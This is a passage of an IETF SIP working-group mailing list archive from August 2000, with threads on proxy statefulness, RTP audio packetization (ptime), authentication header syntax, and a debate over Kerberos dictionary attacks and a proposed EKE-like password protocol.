------=_NextPart_000_000B_01C0135B.31862340-- _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Thu Aug 31 09:24:05 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA05659 for ; Thu, 31 Aug 2000 09:24:04 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id BB31E44336; Thu, 31 Aug 2000 08:23:52 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from web9205.mail.yahoo.com (web9205.mail.yahoo.com [216.136.129.38]) by lists.bell-labs.com (Postfix) with SMTP id 2722444358 for ; Thu, 31 Aug 2000 07:59:07 -0400 (EDT) Message-ID: <20000831125905.23593.qmail@web9205.mail.yahoo.com> Received: from [203.197.168.163] by web9205.mail.yahoo.com; Thu, 31 Aug 2000 05:59:05 PDT Date: Thu, 31 Aug 2000 05:59:05 -0700 (PDT) From: Ford Trueman To: sip@lists.bell-labs.com MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Subject: [SIP] When to use Stateful & Stateless Proxy Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com I have one question to ask? When to use stateful proxy, is there any principles? What's more, I want to know especially in telecommunication when to use stateful & stateless? Who can give me some examples? __________________________________________________ Do You Yahoo!? Yahoo! Mail - Free email you can access from anywhere! http://mail.yahoo.com/ _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Thu Aug 31 09:25:29 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA05679 for ; Thu, 31 Aug 2000 09:25:28 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 2CEB74436A; Thu, 31 Aug 2000 08:24:00 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from purple.east.isi.edu (dhcp182.sigcomm.sics.se [212.181.55.182]) by lists.bell-labs.com (Postfix) with ESMTP id 4D57644336 for ; Thu, 31 Aug 2000 02:41:56 -0400 (EDT) Received: from purple.east.isi.edu (localhost [127.0.0.1]) by purple.east.isi.edu (8.9.3/8.8.7) with ESMTP id IAA05151; Thu, 31 Aug 2000 08:42:44 +0100 Message-Id: <200008310742.IAA05151@purple.east.isi.edu> To: Chris Durand Cc: "'sip@lists.bell-labs.com'" Subject: Re: [SIP] audio frame length In-Reply-To: Message from Chris Durand of "Wed, 30 Aug 2000 15:57:30 MDT." <4262BC1254F9D311AFD0009027E06AED1AF3E7@SPECTRANET> Date: Thu, 31 Aug 2000 08:42:44 +0100 From: Colin Perkins Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com --> Chris Durand writes: >Does SIP have a mean of agreeing on an audio frame length betweem two >devices (e.g .30ms of audio exchanged in each RTP packet). a=ptime: in SDP. Colin _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Thu Aug 31 10:00:25 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA06107 for ; Thu, 31 Aug 2000 10:00:25 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id E8C2644361; Thu, 31 Aug 2000 09:00:06 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from ubiquity.net (mail.ubiquity.net [194.128.96.72]) by lists.bell-labs.com (Postfix) with ESMTP id EF9724435C for ; Thu, 31 Aug 2000 08:41:12 -0400 (EDT) Received: from phoffer by ubiquity.net with SMTP (8.8.8+Sun/25-eef) id OAA00438; Thu, 31 Aug 2000 14:39:21 +0100 (BST) Message-ID: <006701c01350$e890d090$5334c3c1@ubiquity.co.uk> From: "Phil Hoffer" To: Cc: Date: Thu, 31 Aug 2000 14:39:38 +0100 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2314.1300 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300 Subject: [SIP] Open issue with Quotes in WWW-Authenticate ?? Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit Hi Jonathan, In your SIP ML Open Issues presentation for IETF48 .... http://www.softarmor.com/sipwg/meets/IETF48/slides/pres-rosenburg-sipwg_jul0 0_listissues.ppt the last slide mentions "Quotes in WWW-Authenticate" and details.... BNF and examples for params in WWW-Authenticate inconsistent in http Do we use quotes or not? Proposal: Quotes I'm confused with this slide as I'm unaware of an open issue in this area. The BNF is quite clear, however the examples given in "SIP Telephony Call Flow Examples" (http://search.ietf.org/internet-drafts/draft-ietf-sip-call-flows-01.txt) are inconsistent with the SIP specification. This might have led to the confusion which appears to surround the four headers used for authentication. I can appreciate that there is some scope for lenient parsing of the parameters in the authentication related headers, but as far as I'm concerned the spec seems fine. Can you clear up my confusion? Thanks In Advance Phil Hoffer http://www.ubiquity.net _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Thu Aug 31 10:20:37 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA06503 for ; Thu, 31 Aug 2000 10:20:36 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id B56214436D; Thu, 31 Aug 2000 09:20:32 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from ubiquity.net (mail.ubiquity.net [194.128.96.72]) by lists.bell-labs.com (Postfix) with ESMTP id E188044366 for ; Thu, 31 Aug 2000 09:20:23 -0400 (EDT) Received: from gethin by ubiquity.net with SMTP (8.8.8+Sun/25-eef) id PAA22741; Thu, 31 Aug 2000 15:18:02 +0100 (BST) From: Gethin Liddell Organization: Ubiquity Software Corp. To: Henning Schulzrinne Date: Thu, 31 Aug 2000 15:04:41 +0100 X-Mailer: KMail [version 1.0.29.2] Content-Type: text/plain Cc: Sip Mail List MIME-Version: 1.0 Message-Id: <00083115124401.16016@gethin> Content-Transfer-Encoding: 8bit Subject: [SIP] pseudonym definition omitted from draft Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 8bit Henning, small point for Warning header (bis 01 section 6.47 page 60): warn-agent = ( host [:port ] ) | pseudonym pseudonym is never defined. i assume it is to be defined as in the http spec: pseudonym = token HTH gethin -- Gethin Liddell Ubiquity Software Corporation http://www.ubiquity.net mailto:gethin@ubiquity.net _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Thu Aug 31 11:03:15 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA07211 for ; Thu, 31 Aug 2000 11:03:15 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 5EA3C44367; Thu, 31 Aug 2000 10:02:48 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from redball.dynamicsoft.com (redball.dynamicsoft.com [216.173.40.51]) by lists.bell-labs.com (Postfix) with ESMTP id BBB0744336 for ; Thu, 31 Aug 2000 10:02:44 -0400 (EDT) Received: from dynamicsoft.com ([216.173.40.50]) by redball.dynamicsoft.com (8.9.3+Sun/8.10.0.Beta12) with ESMTP id LAA29804; Thu, 31 Aug 2000 11:02:30 -0400 (EDT) Message-ID: <39AE72DF.6E7261E3@dynamicsoft.com> Date: Thu, 31 Aug 2000 10:59:43 -0400 From: Jonathan Rosenberg Organization: dynamicsoft X-Mailer: Mozilla 4.7 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: Ford Trueman Cc: sip@lists.bell-labs.com Subject: Re: [SIP] When to use Stateful & Stateless Proxy References: <20000831125905.23593.qmail@web9205.mail.yahoo.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit Ford Trueman wrote: > > I have one question to ask? > When to use stateful proxy, is > there any principles? > What's more, I want to know especially > in telecommunication when to use stateful > & stateless? Who can give me some examples? THis is not a specification thing; its purely up to each server. Generally, stateless will mean faster operation, but fewer services and capabilities. Stateless is usually better for things like fault tolerance, hot standbys and load balancing. Stateful is needed for many services, like CFNA, as a simple example. As such, a stateful proxy is usually slower, and the existence of state can complicate failover and load balancing. -Jonathan R. -- Jonathan D. Rosenberg 72 Eagle Rock Ave. Chief Scientist First Floor dynamicsoft East Hanover, NJ 07936 jdrosen@dynamicsoft.com FAX: (973) 952-5050 http://www.cs.columbia.edu/~jdrosen PHONE: (732) 741-7244 http://www.dynamicsoft.com _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Thu Aug 31 11:20:34 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA07710 for ; Thu, 31 Aug 2000 11:20:34 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 188B04436F; Thu, 31 Aug 2000 10:20:30 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from redball.dynamicsoft.com (redball.dynamicsoft.com [216.173.40.51]) by lists.bell-labs.com (Postfix) with ESMTP id CD26744368 for ; Thu, 31 Aug 2000 10:20:27 -0400 (EDT) Received: from dynamicsoft.com ([216.173.40.50]) by redball.dynamicsoft.com (8.9.3+Sun/8.10.0.Beta12) with ESMTP id LAA00080; Thu, 31 Aug 2000 11:22:11 -0400 (EDT) Message-ID: <39AE777C.E1A1FD48@dynamicsoft.com> Date: Thu, 31 Aug 2000 11:19:24 -0400 From: Jonathan Rosenberg Organization: dynamicsoft X-Mailer: Mozilla 4.7 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: Christer Holmberg Cc: Chris Durand , "'sip@lists.bell-labs.com'" Subject: Re: [SIP] audio frame length References: <4262BC1254F9D311AFD0009027E06AED1AF3E7@SPECTRANET> <39AE12B3.B7804F0C@lmf.ericsson.se> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit Actually, the RTP spec says you do not need to know ptime. From rfc1890: > For packetized audio, the default packetization interval should have > a duration of 20 ms, unless otherwise noted when describing the > encoding. The packetization interval determines the minimum end-to- > end delay; longer packets introduce less header overhead but higher > delay and make packet loss more noticeable. For non-interactive > applications such as lectures or links with severe bandwidth > constraints, a higher packetization delay may be appropriate. A > receiver should accept packets representing between 0 and 200 ms of > audio data. This restriction allows reasonable buffer sizing for the > receiver. > Notice the next to last sentence. This has been expanded upon in the revised spec: > For packetized audio, the default packetization interval SHOULD have > a duration of 20 ms or one frame, whichever is longer, unless > otherwise noted in Table 1 (column "ms/packet"). The packetization > interval determines the minimum end-to-end delay; longer packets > introduce less header overhead but higher delay and make packet loss > more noticeable. For non-interactive applications such as lectures or > for links with severe bandwidth constraints, a higher packetization > delay MAY be used. A receiver SHOULD accept packets representing > between 0 and 200 ms of audio data. (For framed audio encodings, a > receiver SHOULD accept packets with a number of frames equal to 200 > ms divided by the frame duration, rounded up.) This restriction > allows reasonable buffer sizing for the receiver. Same basic idea. It is for this reason that ptime is not the subject of "negotiation"; its an fyi parameterm. -Jonathan R. Christer Holmberg wrote: > > Hi, > > What you have is the a=ptime SDP parameter. However, as the draft says, > it is only used as a "recommendation", and that it should not be > necessary to know ptime to handle the media stream. > > Regards, > > Christer Holmberg > Ericsson Finland > > > Does SIP have a mean of agreeing on an audio frame length betweem two > > devices (e.g .30ms of audio exchanged in each RTP packet). > > Thanks > > > > _______________________________________________ > > SIP mailing list > > SIP@lists.bell-labs.com > > http://lists.bell-labs.com/mailman/listinfo/sip -- Jonathan D. Rosenberg 72 Eagle Rock Ave. Chief Scientist First Floor dynamicsoft East Hanover, NJ 07936 jdrosen@dynamicsoft.com FAX: (973) 952-5050 http://www.cs.columbia.edu/~jdrosen PHONE: (732) 741-7244 http://www.dynamicsoft.com _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Thu Aug 31 13:01:15 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA09658 for ; Thu, 31 Aug 2000 13:01:15 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id DE18444373; Thu, 31 Aug 2000 12:00:50 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from sj-msg-core-1.cisco.com (sj-msg-core-1.cisco.com [171.71.163.11]) by lists.bell-labs.com (Postfix) with ESMTP id 96DE544366 for ; Thu, 31 Aug 2000 12:00:47 -0400 (EDT) Received: from thomasm-u1.cisco.com (thomasm-u1.cisco.com [171.71.147.106]) by sj-msg-core-1.cisco.com (8.9.3/8.9.1) with ESMTP id KAA03819; Thu, 31 Aug 2000 10:00:08 -0700 (PDT) Received: (thomasm@localhost) by thomasm-u1.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id JAA26234; Thu, 31 Aug 2000 09:59:50 -0700 (PDT) From: Michael Thomas MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <14766.36613.901750.929369@thomasm-u1.cisco.com> Date: Thu, 31 Aug 2000 09:59:49 -0700 (PDT) To: "James A. Donald" Cc: Michael Thomas , Henning Schulzrinne , Jonathan Rosenberg , David Harris , "Sip-Implementors (E-mail)" , sip Subject: Re: [SIP] Re: SIP gateways and authentication In-Reply-To: <4.3.1.2.20000830092306.00bbeeb0@shell11.ba.best.com> References: <39A6D968.647FBFDB@cs.columbia.edu> <89866A7EC9C0D1119C950000F8BCC282016352E9@zrtpd00n.us.nortel.com> <39A6035E.4DDC74C0@dynamicsoft.com> <14758.38134.851139.496078@thomasm-u1.cisco.com> <39A6B1C4.E424802F@cs.columbia.edu> <14758.48066.388917.988364@thomasm-u1.cisco.com> <39A6C0C3.7BEC4838@cs.columbia.edu> <14758.49815.427708.431582@thomasm-u1.cisco.com> <39A6C49E.9844FF65@cs.columbia.edu> <14758.51787.331133.132625@thomasm-u1.cisco.com> <4.3.1.2.20000830092306.00bbeeb0@shell11.ba.best.com> X-Mailer: VM 6.72 under 21.1 (patch 6) "Big Bend" XEmacs Lucid X-Face: &,heK/V66p?[2!i|tVn,9lN0TUvEv7:9FzXREj/AuzN4mu!4x[/Z4t{V}~L]+Sk @RFNnJEg~WZ/(8<`5a),-7ukALWa^&?&D2R0CSG3kO5~#6JxLF\d,g">$%B!0w{W)qIhmwhye104zd bUcI'1! Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit It looks like your argument is not with the SIP WG but with the CAT WG. I'm sure a lot of folks there would be willing to entertain (or not) this argument. In particular, the assertion that that Kerberos is inherently subject to dictionary attacks looks more like an indictment against symmetric key cryptography in general, rather than Kerberos in particular. Mike James A. Donald writes: > -- > At 09:02 AM 8/30/2000 -0700, Michael Thomas wrote: > > A cross realm Kerberos based solution would be more than adequate to > > give you a high level of confidence that a piece of information came > > from the realm it claims to have come from. > > While you are correct that we should use Kerberos like security > servers, Kerberos itself is broken. It has been broken for some time. > > The problem is described in http://theory.stanford.edu/~tjw/krbpass.html, > and with the passage of time the problem becomes ever worse, due to the > increased power of offline dictionary attack hardware and software. > > A modern security system, (which kerberos is not) must only permit online > attacks on the password. Kerberos permits offline attacks. In a modern > system the attacker must only be able to test his guesses by using the > guessed password to attempt to establish a secure connection to the > security server. After some large number of consecutive failures, the > security server will temporarily disable the account, and send to the user > an insecure notification containing a log of all information about the > failed attempts. After each successful logon, the system sends the user > information about all previous failed attempts through the secure connection. > > The proposal to use PGP keys or verisign keys uses modern security > techniques to solve the wrong problem. > > The proposal to use kerberos techniques addresses the right problem in the > right way, but the particular details of the solution are obsolete. > > I propose the following EKE like solution, similar to that described in my > web page http://catalog.com/jamesd/kong/secure_video.htm > > The user establishes a secure connection with the secure personal presence > server. > > The personal presence client logs in to the personal presence server using > the name and password. The password is never revealed to the server. An > outside attacker would have to try his guessed password by attempting to > log on. If he tried lots of logons, this would become noticeable. > > The server knows, not the password p , but h(p)*G where G is an elliptic > point that the server makes known to anyone. > > When the user created his account, his client software informed the server > of h(p)*G through https. The software ensures that it gave this account > creation information only to the real server, thanks to the usual https > mechanism, which guarantees the server's true name. The server does not > need to verify the users true name. > > Lower case letters stand for very large integers, upper case letters stand > for elliptic points. h(x) means "one way hash of x " > > The object of the logon protocol is to ensure that the client program is > communicating with a server that knows h(p)*G , and the server knows it is > communicating with a client who knows h(p) In this the protocol differs > from SPEKE, where both the client and the security server both know > p. The implementors have to keep in mind the usual EKE concerns described > in http://world.std.com/~dpj/speke97.html. > > When the user logs on he sends the server his logon name in the clear, The > server generates a true random number b , and sends the user b*G . > > The client similarly generates a true random number c and sends the server c*G. > > An attacker can discover c*G, b*G, and G, but cannot calculate c or b from > this information. > > The client then generates the secret elliptic point (b*G)*[c+h(p)] > > The server similarly generates the secret elliptic point b*[(c*G)+(h(p)*G)] > , which will be equal to the point generated by the client. This elliptic > point is then used as the symmetric secret key for secure communications > between client and the security server until the user logs off. > > In order to succeed with the protocol, in order for the client to construct > a secret elliptic point equal to that of the server, it must know h(p) > corresponding to the server's h(p)*G > Of course, ultimately our objective is not secure communications with the > security server, but secure communications between any two users, and > secure communications between a user and all the various entities that are > involved in setting up his communication. > > The simplest way of solving this is the classic DH method, now patent free, > where each entity generates one true random transient public/private key > pair, which lasts the duration of a login session. Each security server > authenticates the public keys of its users and entities, and only the user > or entity knows the private key. > > This could potentially lead to a very large number of public key > operations, which are quite slow Because the keys change infrequently, > this problem can be solved by each entity caching the results of previous > public key operations. The cache is discarded when the entity logs out.. > > When Bob sends an authenticated and secure message to Ann, saying "Hi Ann, > how are things?" it would use intolerable bandwidth if that message, and > each of the various acks and nacks by various entities required to locate > Ann and set up and send the message, required a verisign style public key > signature, or pgp style public key signatue. > > Instead, for any two entities, there will be a unique DH shared secret, > constructed from each one's DH key. Each obtains the other's public DH key > from the others security server. That unique shared secret will not change > as long as both entities remain logged on to their security server. Since > each ack and nack will be sent encrypted using that unique and unchanging > shared secret, no public key operations will be needed to prove who is > sending the ack, since only the apparent author or the apparent recipient > could decrypt it or encrypt it. We have only one public key operation per > logon time per pair of entities that need to communicate securely, which > will have an insignificant bandwidth and computational cost, not several > public key operations per ack and nack, as would be required if we employed > a signature system similar to that employed by verisign or PGP. > > > --digsig > James A. Donald > 6YeGpsZR+nOTh/cGwvITnSR3TdzclVpR0+pr3YYQdkG > i4N8MYu3lFyxRz7rj6IX3CMlEt8P5QsQNrYF+dGO > 478RouxqobjnPMPR6Cg+Lf/c/t2dukyvpj+QkrgkK > > > _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Thu Aug 31 15:06:59 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA11801 for ; Thu, 31 Aug 2000 15:06:59 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 8687B44375; Thu, 31 Aug 2000 14:06:08 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from sj-msg-core-1.cisco.com (sj-msg-core-1.cisco.com [171.71.163.11]) by lists.bell-labs.com (Postfix) with ESMTP id D96AE44336 for ; Thu, 31 Aug 2000 14:06:04 -0400 (EDT) Received: from driftwood.cisco.com (driftwood.cisco.com [171.71.157.40]) by sj-msg-core-1.cisco.com (8.9.3/8.9.1) with ESMTP id MAA13174 for ; Thu, 31 Aug 2000 12:06:22 -0700 (PDT) Received: from cisco.com ([171.71.159.231]) by driftwood.cisco.com (Mirapoint) with ESMTP id ACE03954; Thu, 31 Aug 2000 14:02:52 -0500 (CDT) Message-ID: <39AEACDE.F5686B52@cisco.com> Date: Thu, 31 Aug 2000 14:07:10 -0500 From: Hong Chen Organization: Cisco Systems X-Mailer: Mozilla 4.5 [en] (WinNT; U) X-Accept-Language: en MIME-Version: 1.0 To: sip@lists.bell-labs.com Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: [SIP] SIP feature services Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit Dear All: I would like to initial discussion on what the best systematic/consistent way to invoke network feature services by SIP signaling without losing SIP advantages. If this topic has been discussed fully before, please point me to the conclusion. Thanks, Hong Chen _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Thu Aug 31 15:25:59 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA12045 for ; Thu, 31 Aug 2000 15:25:59 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 6670844377; Thu, 31 Aug 2000 14:25:44 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from NOD.RESTON.MCI.NET (nod.reston.mci.net [166.60.6.38]) by lists.bell-labs.com (Postfix) with ESMTP id 67B1644336 for ; Thu, 31 Aug 2000 13:16:19 -0400 (EDT) Received: from sjo-dhcp0317.mcit.com ([166.60.6.251]) by shoe.reston.mci.net (PMDF V5.2-32 #40475) with ESMTP id <01JTMFLJF7DA9LVCR4@shoe.reston.mci.net> for sip@lists.bell-labs.com; Thu, 31 Aug 2000 14:16:13 EST Date: Thu, 31 Aug 2000 11:16:10 -0700 From: Paul Krumviede Subject: Re: [SIP] Re: SIP gateways and authentication In-reply-to: <14766.36613.901750.929369@thomasm-u1.cisco.com> To: Michael Thomas , "James A. Donald" Cc: sip Message-id: <1352928840.967720570@sjo-dhcp0317.mcit.com> MIME-version: 1.0 X-Mailer: Mulberry/2.0.3 (Win32) Content-type: text/plain; format=flowed; charset=us-ascii Content-disposition: inline Content-transfer-encoding: 7BIT Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7BIT there is a complexity result that use of "public key techniques are unavoidable for password protocols that resist off-line guessing attacks." i doubt we can require that in all environments... -paul --On Thursday, 31 August, 2000 09:59 -0700 Michael Thomas wrote: > > It looks like your argument is not with the SIP WG > but with the CAT WG. I'm sure a lot of folks there > would be willing to entertain (or not) this > argument. In particular, the assertion that that > Kerberos is inherently subject to dictionary > attacks looks more like an indictment against > symmetric key cryptography in general, rather than > Kerberos in particular. > > Mike > > James A. Donald writes: > > -- > > At 09:02 AM 8/30/2000 -0700, Michael Thomas wrote: > > > A cross realm Kerberos based solution would be more than adequate to > > > give you a high level of confidence that a piece of information came > > > from the realm it claims to have come from. > > > > While you are correct that we should use Kerberos like security > > servers, Kerberos itself is broken. It has been broken for some time. > > > > The problem is described in http://theory.stanford.edu/~tjw/krbpass.html, > > and with the passage of time the problem becomes ever worse, due to the > > increased power of offline dictionary attack hardware and software. > > > > A modern security system, (which kerberos is not) must only permit online > > attacks on the password. Kerberos permits offline attacks. _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Thu Aug 31 20:19:06 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA14465 for ; Thu, 31 Aug 2000 20:19:06 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id AADFD4437A; Thu, 31 Aug 2000 19:18:08 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from nsm-mail2.cisco.com (nsm-mail2.cisco.com [171.71.236.25]) by lists.bell-labs.com (Postfix) with ESMTP id 5651E44368 for ; Thu, 31 Aug 2000 19:18:04 -0400 (EDT) Received: from jtrostle-nt2 (dhcp-171-71-229-115.cisco.com [171.71.229.115]) by nsm-mail2.cisco.com (8.8.8-Cisco List Logging/8.8.8) with SMTP id RAA07218; Thu, 31 Aug 2000 17:16:54 -0700 (PDT) Message-Id: <4.1.20000831165609.015802e0@nsm-mail2> X-Sender: jtrostle@nsm-mail2 X-Mailer: QUALCOMM Windows Eudora Pro Version 4.1 Date: Thu, 31 Aug 2000 17:17:56 -0700 To: "James A. Donald" , Michael Thomas , Henning Schulzrinne From: Jonathan Trostle Subject: Re: [SIP] Re: SIP gateways and authentication Cc: Michael Thomas , Jonathan Rosenberg , David Harris , "Sip-Implementors (E-mail)" , sip In-Reply-To: <4.3.1.2.20000830092306.00bbeeb0@shell11.ba.best.com> References: <14765.12335.868273.287866@thomasm-u1.cisco.com> <39A6D968.647FBFDB@cs.columbia.edu> <89866A7EC9C0D1119C950000F8BCC282016352E9@zrtpd00n.us.nortel.com> <39A6035E.4DDC74C0@dynamicsoft.com> <14758.38134.851139.496078@thomasm-u1.cisco.com> <39A6B1C4.E424802F@cs.columbia.edu> <14758.48066.388917.988364@thomasm-u1.cisco.com> <39A6C0C3.7BEC4838@cs.columbia.edu> <14758.49815.427708.431582@thomasm-u1.cisco.com> <39A6C49E.9844FF65@cs.columbia.edu> <14758.51787.331133.132625@thomasm-u1.cisco.com> <39A6D968.647FBFDB@cs.columbia.edu> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Comments below. At 08:53 PM 8/30/00 -0700, James A. Donald wrote: > -- >At 09:02 AM 8/30/2000 -0700, Michael Thomas wrote: > > A cross realm Kerberos based solution would be more than adequate to > > give you a high level of confidence that a piece of information came > > from the realm it claims to have come from. > >While you are correct that we should use Kerberos like security >servers, Kerberos itself is broken. It has been broken for some time. > >The problem is described in http://theory.stanford.edu/~tjw/krbpass.html, The first line of defense against dictionary attacks in Kerberos is a reasonable password policy. The paper you cite does nothing to show that a reasonable password policy is not adequate to prevent these attacks - the paper demonstates attacks against a Kerberos 4 realm with a very weak password policy. In particular, some users had passwords with 1 character, some had passwords with 2 characters, etc. Jonathan >and with the passage of time the problem becomes ever worse, due to the >increased power of offline dictionary attack hardware and software. > >A modern security system, (which kerberos is not) must only permit online >attacks on the password. Kerberos permits offline attacks. In a modern >system the attacker must only be able to test his guesses by using the >guessed password to attempt to establish a secure connection to the >security server. After some large number of consecutive failures, the >security server will temporarily disable the account, and send to the user >an insecure notification containing a log of all information about the >failed attempts. After each successful logon, the system sends the user >information about all previous failed attempts through the secure connection. > >The proposal to use PGP keys or verisign keys uses modern security >techniques to solve the wrong problem. > >The proposal to use kerberos techniques addresses the right problem in the >right way, but the particular details of the solution are obsolete. > >I propose the following EKE like solution, similar to that described in my >web page http://catalog.com/jamesd/kong/secure_video.htm > >The user establishes a secure connection with the secure personal presence >server. > >The personal presence client logs in to the personal presence server using >the name and password. The password is never revealed to the server. An >outside attacker would have to try his guessed password by attempting to >log on. If he tried lots of logons, this would become noticeable. > >The server knows, not the password p , but h(p)*G where G is an elliptic >point that the server makes known to anyone. > >When the user created his account, his client software informed the server >of h(p)*G through https. The software ensures that it gave this account >creation information only to the real server, thanks to the usual https >mechanism, which guarantees the server's true name. The server does not >need to verify the users true name. > >Lower case letters stand for very large integers, 